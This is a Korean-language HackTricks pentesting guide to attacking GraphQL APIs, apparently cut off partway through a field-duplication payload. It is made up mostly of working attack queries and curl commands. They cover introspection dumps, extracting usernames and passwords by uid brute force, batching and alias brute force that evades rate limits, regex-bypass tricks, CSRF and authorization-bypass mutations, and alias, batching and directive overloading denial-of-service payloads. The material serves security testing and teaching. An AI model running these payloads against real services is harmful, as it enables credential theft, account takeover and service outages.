GraphQL

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

소개

GraphQL은 REST API에 대한 효율적인 대안으로 강조되며, 백엔드에서 데이터를 쿼리하는 과정을 단순화합니다. 여러 엔드포인트에 걸쳐 많은 요청을 해야 하는 REST와 달리, GraphQL은 필요한 모든 정보를 하나의 요청으로 가져올 수 있게 해줍니다. 이러한 간소화는 데이터 페칭 과정을 단순화하여 개발자들에게 상당한 이점을 제공합니다.

GraphQL와 보안

GraphQL을 포함한 새로운 기술의 등장과 함께 새로운 보안 취약점도 나타납니다. 중요한 점은 GraphQL does not include authentication mechanisms by default라는 것입니다. 인증 메커니즘을 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 심각한 보안 위험을 초래합니다.

Directory Brute Force Attacks and GraphQL

노출된 GraphQL 인스턴스를 식별하기 위해 디렉터리 무작위 대입 공격에 다음 특정 경로들을 포함시키는 것이 권장됩니다. 이 경로들은 다음과 같습니다:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

오픈된 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검사할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 알려줍니다. 자세한 내용은 GraphQL 문서의 introspection을 참조하세요: GraphQL: A query language for APIs.

지문

도구 graphw00f는 서버에서 어떤 GraphQL 엔진이 사용되는지 감지하고 보안 감사자에게 유용한 정보를 출력할 수 있습니다.

범용 쿼리

URL이 GraphQL 서비스인지 확인하려면 universal query, query{__typename}를 전송할 수 있습니다. 응답에 {"data": {"__typename": "Query"}}가 포함되면 해당 URL이 GraphQL 엔드포인트임을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 타입을 드러내는 GraphQL의 __typename 필드에 의존합니다.

query{__typename}

Basic Enumeration

Graphql은 일반적으로 GET, POST (x-www-form-urlencoded) 및 POST(json)을 지원합니다. 보안을 위해 CSRF 공격을 방지하려면 json만 허용하는 것이 권장됩니다.

Introspection

introspection을 사용해 schema 정보를 찾으려면 __schema 필드를 쿼리하세요. 이 필드는 모든 queries의 root type에서 사용할 수 있습니다.

query={__schema{types{name,fields{name}}}}

이 쿼리를 사용하면 사용 중인 모든 타입의 이름을 찾을 수 있습니다:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

이 쿼리를 사용하면 모든 타입, 그 필드들, 그리고 그 인자들(및 인자의 타입)을 추출할 수 있습니다. 이는 데이터베이스를 어떻게 쿼리할지 아는 데 매우 유용합니다.

오류

오류들이 표시될지 아는 것은 흥미롭습니다. 왜냐하면 그것들이 유용한 정보를 제공하기 때문입니다.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Introspection을 통해 데이터베이스 스키마 열거하기

Tip

Introspection이 활성화되어 있는데 위 쿼리가 실행되지 않는다면, 쿼리 구조에서 onOperation, onFragment, onField 지시자를 제거해 보세요.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

인라인 인트로스펙션 쿼리:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

마지막 코드 라인은 graphql 쿼리로, graphql의 모든 메타 정보(객체 이름, 매개변수, 타입 등)를 덤프합니다.

introspection이 활성화되어 있다면 GUI에서 모든 옵션을 보기 위해 GraphQL Voyager를 사용할 수 있습니다.

쿼리

이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, 일부 값을 추출해보자.

introspection에서 직접 쿼리할 수 있는 객체가 무엇인지 확인할 수 있습니다(객체가 존재한다고 해서 반드시 쿼리할 수 있는 것은 아니기 때문입니다). 다음 이미지에서 “queryType“가 “Query“라고 불리며, “Query” 객체의 필드 중 하나가 “flags“이고 이는 또한 객체 타입임을 확인할 수 있습니다. 따라서 flag 객체를 쿼리할 수 있습니다.

쿼리 “flags“의 타입이 “Flags“임을 주의하세요, 이 객체는 아래와 같이 정의되어 있습니다:

Flags” 객체가 name과 .value로 구성되어 있음을 볼 수 있습니다. 그러면 다음 쿼리로 모든 플래그의 이름과 값을 가져올 수 있습니다:

query={flags{name, value}}

다음 예시처럼 쿼리할 객체primitive 타입(예: string)인 경우

다음과 같이 간단히 쿼리할 수 있습니다:

query = { hiddenFlags }

다른 예에서 “Query” 타입 객체 안에 2개의 객체가 있었습니다: “user“와 “users”.
이 객체들이 검색에 아무 인수를 필요로 하지 않는다면, 원하는 데이터를 그냥 요청하는 것만으로 모든 정보를 가져올 수 있습니다. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있었습니다:

하지만 이 예제에서 그렇게 시도하면 다음과 같은 오류가 발생합니다:

어떤 식으로든 Int 타입의 “uid” 인수를 사용해 검색하는 것 같습니다.
어쨌든 이미 Basic Enumeration 섹션에서 필요한 모든 정보를 보여준 쿼리가 제시되었습니다: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

제가 그 쿼리를 실행했을 때 제공된 이미지를 보면 “user“가 Int 타입의 인수uid“를 가지고 있는 것을 볼 수 있습니다.

그래서 가벼운 uid bruteforce를 수행한 결과 _uid=1_에서 사용자 이름과 비밀번호가 반환되는 것을 발견했습니다:
query={user(uid:1){user,password}}

여기서 발견한 점은 “user“와 “password파라미터를 요청할 수 있다는 것입니다. 존재하지 않는 것을 요청하면 (query={user(uid:1){noExists}}) 다음과 같은 오류가 발생합니다:

그리고 enumeration phase 동안 “dbuser” 객체가 “user“와 “password” 필드를 가지고 있다는 것을 발견했습니다.

Query string dump trick (thanks to @BinaryShadow_)

문자열 타입으로 검색할 수 있다면, 예를 들어 query={theusers(description: ""){username,password}}처럼 빈 문자열로 검색하면 모든 데이터가 덤프됩니다. (참고: 이 예제는 튜토리얼의 예제와 관련이 없으며, 이 예제에서는 “theusers“를 “description“이라는 String 필드로 검색할 수 있다고 가정합니다).

검색

이 설정에서 databasepersonsmovies를 포함합니다. Personsemailname으로 식별되고; moviesnamerating으로 식별됩니다. Persons는 서로 친구가 될 수 있고 또한 영화들을 가지며, 이는 데이터베이스 내의 관계를 나타냅니다.

name으로 persons를 검색하여 그들의 email을 얻을 수 있습니다:

{
searchPerson(name: "John Doe") {
email
}
}

이름으로 사람들을 검색하고 그들이 구독한 영화들을 가져올 수 있습니다:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

사람의 subscribedMovies에서 name을 가져오도록 표시된 방법을 주목하세요.

동시에 여러 객체를 검색할 수도 있습니다. 이 경우 2개의 영화를 검색합니다:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

또는 심지어 별칭을 사용한 여러 다른 객체 간의 관계:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations는 서버 측에서 변경을 가할 때 사용됩니다.

introspection에서 선언된 mutations를 찾을 수 있습니다. 다음 이미지에서 “MutationType“는 “Mutation“이라고 불리며, “Mutation” 객체는 해당 경우처럼 “addPerson” 같은 mutation들의 이름을 포함하고 있습니다:

이 설정에서, databasepersonsmovies를 포함합니다. Personsemailname으로 식별되며; moviesnamerating으로 식별됩니다. Persons는 서로 친구가 될 수 있고 또한 영화를 보유할 수 있으며, 이는 데이터베이스 내의 관계를 나타냅니다.

데이터베이스 내부에 새로운 영화를 생성하는 mutation은 다음과 같을 수 있습니다(이 예에서 mutation은 addMovie라고 불립니다):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

쿼리에서 값과 데이터 타입이 모두 표시되는 방식에 주목하세요.

또한 데이터베이스는 mutation 연산인 addPerson을 지원하며, 이를 통해 기존 friendsmovies와의 연관을 포함한 persons를 생성할 수 있습니다. 중요한 점은 friends와 movies는 새로 생성되는 person에 연결하기 전에 데이터베이스에 미리 존재해야 한다는 것입니다.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it’s possible to DoS it.

Batching brute-force in 1 API request

This information was take from [https://lab.wallarm.com/graphql-batching-attack/].
GraphQL API를 통한 인증을 확인하기 위해 여러 자격증명을 사용해 여러 쿼리를 동시에 전송하는 방식이다. 고전적인 brute force 공격이지만, GraphQL의 batching 기능 때문에 이제 한 HTTP 요청당 여러 로그인/비밀번호 쌍을 전송할 수 있다. 이 접근법은 외부 rate 모니터링 애플리케이션을 속여 모든 것이 정상이며 비밀번호를 추측하는 brute-forcing 봇이 없다고 판단하게 만든다.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

API에서 introspection 쿼리 제한을 우회하려면 __schema 키워드 뒤에 특수 문자를 삽입하는 것이 효과적이다. 이 방법은 introspection를 차단하려고 __schema 키워드에 초점을 맞춘 regex 패턴에서 개발자가 흔히 놓치는 부분을 악용한다. GraphQL이 무시하지만 regex에서 고려되지 않을 수 있는 공백, 줄바꿈, 쉼표 같은 문자를 추가함으로써 제한을 회피할 수 있다. 예를 들어, __schema 뒤에 줄바꿈을 넣은 introspection 쿼리는 그러한 방어를 우회할 수 있다:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

작동하지 않으면 GET requests 또는 POST with x-www-form-urlencoded 같은 대체 요청 방식을 고려하세요. 제한이 POST 요청에만 적용될 수 있습니다.

WebSockets 시도

위의 이 발표에서 언급한 것처럼, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하세요. 이렇게 하면 잠재적인 WAF를 우회하고 websocket 통신이 graphQL의 스키마를 leak할 수 있습니다:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

노출된 GraphQL 구조 발견

When introspection is disabled, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 Sources 탭에서 찾을 수 있으며, API의 스키마에 대한 통찰을 제공하고 잠재적으로 노출된 민감한 쿼리를 드러낼 수 있습니다. 개발자 도구 내에서 검색할 때 사용하는 명령어는 다음과 같습니다:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

오류 기반 스키마 재구성 및 엔진 지문 식별 (InQL v6.1+)

인트로스펙션이 차단된 경우, **InQL v6.1+**는 이제 오류 피드백만으로 접근 가능한 스키마를 재구성할 수 있습니다. 새로운 schema bruteforcer는 구성 가능한 워드리스트에서 필드/인수 후보 이름을 배치로 처리하고, HTTP 트래픽을 줄이기 위해 다중 필드 연산으로 전송합니다. 유용한 오류 패턴은 자동으로 수집됩니다:

  • Field 'bugs' not found on type 'inql'는 부모 타입의 존재를 확인하고 잘못된 필드 이름을 배제합니다.
  • Argument 'contribution' is required는 인수가 필수임을 보여주고 정확한 철자를 노출합니다.
  • 예: Did you mean 'openPR'? 같은 제안 힌트는 검증된 후보로 큐에 다시 투입됩니다.
  • 의도적으로 잘못된 원시 타입(예: 문자열에 정수를 전송)을 보내면 bruteforcer는 타입 불일치 오류를 유발하여 실제 타입 시그니처를 leak합니다(예: [Episode!] 같은 리스트/객체 래퍼 포함).

bruteforcer는 새로운 필드를 반환하는 모든 타입을 재귀적으로 계속 탐색하므로, 일반적인 GraphQL 이름과 앱 특화 추측을 혼합한 워드리스트는 결국 인트로스펙션 없이 스키마의 큰 부분을 매핑합니다. 실행 시간은 주로 rate limiting과 candidate volume에 의해 제한되므로, InQL 설정 (wordlist, batch size, throttling, retries)을 미세 조정하는 것이 은밀한 작업에서는 중요합니다.

같은 릴리스에서 InQL은 GraphQL engine fingerprinter도 제공합니다 (graphw00f와 같은 도구에서 시그니처를 차용함). 이 모듈은 의도적으로 잘못된 directive/query를 전송하고 정확한 오류 텍스트를 매칭하여 백엔드를 분류합니다. 예:

query @deprecated {
__typename
}
  • Apollo는 Directive "@deprecated" may not be used on QUERY.라고 응답합니다.
  • GraphQL Ruby는 '@deprecated' can't be applied to queries라고 응답합니다.

Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).

Finally, **자동 변수 생성 (automatic variable generation)**은 Burp Repeater/Intruder로 전환할 때 자주 발생하는 장애를 제거합니다. 어떤 operation이 variables JSON을 필요로 할 때마다, InQL은 이제 요청이 처음 전송될 때 스키마 검증을 통과하도록 합리적인 기본값을 주입합니다:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Nested input objects는 동일한 mapping을 상속하므로, 모든 인수를 일일이 수동으로 리버스엔지니어링하지 않고도 SQLi/NoSQLi/SSRF/logic bypasses에 대해 퍼즈할 수 있는 구문적·의미적으로 유효한 payload를 즉시 얻을 수 있습니다.

CSRF in GraphQL

CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:

CSRF (Cross Site Request Forgery)

해당 페이지에서는 CSRF tokens 없이 구성된 여러 GraphQL endpoints를 찾을 수 있습니다.

GraphQL 요청은 일반적으로 Content-Type이 **application/json**인 POST 요청으로 전송된다는 점에 유의하세요.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

그러나 대부분의 GraphQL endpoints에서는 form-urlencoded POST requests: 도 지원합니다

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

따라서, 이전과 같은 CSRF 요청이 preflight requests 없이 전송되므로, CSRF를 악용하여 GraphQL에서 변경을 수행할 수 있습니다.

그러나 Chrome의 samesite 플래그의 새로운 기본 쿠키 값이 Lax임에 유의하세요. 이는 쿠키가 제3자 웹에서의 GET 요청에서만 전송된다는 것을 의미합니다.

일반적으로 query requestGET request로도 보낼 수 있으며, GET 요청에서는 CSRF 토큰이 검증되지 않을 수 있다는 점을 유의하세요.

또한, XS-Search attack을 악용하면 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.

자세한 내용은 original post here를 확인하세요.

Cross-site WebSocket hijacking in GraphQL

GraphQL을 악용한 CSRF 취약점과 유사하게, 보호되지 않은 쿠키를 가진 인증을 악용하기 위한 Cross-site WebSocket hijacking을 통해 사용자가 GraphQL에서 예기치 않은 동작을 하도록 만들 수 있습니다.

자세한 내용은 다음을 확인하세요:

WebSocket Attacks

Authorization in GraphQL

엔드포인트에 정의된 많은 GraphQL 함수는 요청자의 authentication만 확인하고 authorization은 확인하지 않을 수 있습니다.

쿼리 입력 변수를 수정하면 민감한 계정 정보가 leaked될 수 있습니다.

Mutation은 심지어 다른 계정 데이터를 수정하려 시도하여 계정 탈취로 이어질 수 있습니다.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL에서 권한 우회

Chaining queries를 함께 사용하면 취약한 인증 시스템을 우회할 수 있습니다.

아래 예에서는 operation이 “forgotPassword“이며 해당 operation에 연관된 forgotPassword 쿼리만 실행되어야 함을 볼 수 있습니다. 끝에 쿼리를 추가하면 우회할 수 있는데, 이 경우 “register“와 시스템이 새 사용자로 등록할 user 변수를 추가합니다.

GraphQL에서 Aliases를 사용한 Rate Limits 우회

GraphQL에서 aliases는 API 요청 시 프로퍼티의 이름을 명시적으로 지정할 수 있게 해주는 강력한 기능입니다. 이 기능은 단일 요청 내에서 동일 타입의 객체를 여러 인스턴스로 가져와야 할 때 특히 유용합니다. Aliases는 동일한 이름을 가진 여러 프로퍼티를 GraphQL 객체가 가질 수 없게 하는 제한을 극복하는 데 사용될 수 있습니다.

더 자세한 이해를 위해 다음 리소스를 권장합니다: Aliases.

Aliases의 주된 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 의도치 않은 사용 사례로 aliases를 이용해 GraphQL 엔드포인트에 brute force 공격을 수행할 수 있음이 확인되었습니다. 이는 일부 엔드포인트가 brute force 공격을 방지하기 위해 HTTP 요청 수를 제한하는 rate limiters로 보호되기 때문입니다. 그러나 이러한 rate limiters는 각 요청 내의 operation 수를 고려하지 않을 수 있습니다. Aliases가 단일 HTTP 요청에 여러 쿼리를 포함할 수 있게 해주므로, 이러한 rate limiting 조치를 회피할 수 있습니다.

아래 예를 보면, aliased queries를 사용해 상점의 할인 코드 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 합치기 때문에 rate limiting을 우회하여 동시에 많은 할인 코드를 검증할 수 있습니다.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

GraphQL에서의 DoS

Alias Overloading

Alias Overloading는 공격자가 동일 필드에 대해 많은 alias를 사용하여 쿼리를 과부하시키는 GraphQL 취약점으로, 백엔드 resolver가 해당 필드를 반복해서 실행하게 만듭니다. 이는 서버 자원을 과도하게 사용하게 하여 **Denial of Service (DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서는 동일한 필드(expensiveField)가 alias를 사용해 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 되어 CPU나 메모리를 고갈시킬 수 있습니다:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

이를 완화하려면 alias count limits, query complexity analysis 또는 rate limiting을 구현해 리소스 남용을 방지하세요.

Array-based Query Batching

Array-based Query Batching는 GraphQL API가 단일 요청에서 여러 쿼리를 배치로 허용할 때 발생하는 취약점으로, 공격자가 다수의 쿼리를 동시에 전송할 수 있게 합니다. 배치된 모든 쿼리를 병렬로 실행하면 백엔드를 과부하시키며 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모해 결국 Denial of Service (DoS)로 이어질 수 있습니다. 배치 내 쿼리 수에 제한이 없다면 공격자는 이를 악용해 서비스 가용성을 저하시킬 수 있습니다.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

이 예에서는 10개의 서로 다른 쿼리가 하나의 요청으로 배치되어 서버가 이들을 모두 동시에 실행하도록 강제합니다. 더 큰 배치 크기나 계산 비용이 큰 쿼리로 악용되면 서버를 과부하시킬 수 있습니다.

Directive Overloading Vulnerability

Directive Overloading은 GraphQL 서버가 과도하거나 중복된 directives를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 directive 로직을 반복해서 처리할 경우 더 심각합니다. 적절한 검증이나 제한이 없으면 공격자는 다수의 중복 directives를 포함한 쿼리를 만들어 높은 계산량이나 메모리 사용을 유발하여 **Denial of Service (DoS)**로 이어지게 할 수 있습니다.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

이전 예제에서 @aa는 커스텀 디렉티브로, 선언되어 있지 않을 수 있습니다. 일반적으로 존재하는 보편적인 디렉티브는 **@include**입니다:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

선언된 모든 디렉티브를 찾기 위해 인트로스펙션 쿼리를 보낼 수도 있습니다:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Field Duplication Vulnerability

Field Duplication은 GraphQL 서버가 동일한 필드를 과도하게 반복한 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스마다 해당 필드를 중복으로 처리하게 되어 상당한 자원(CPU, 메모리, 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복 필드를 포함한 쿼리를 제작하여 서버에 높은 부하를 유발하고 잠재적으로 **Denial of Service (DoS)**로 이어지게 할 수 있습니다.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 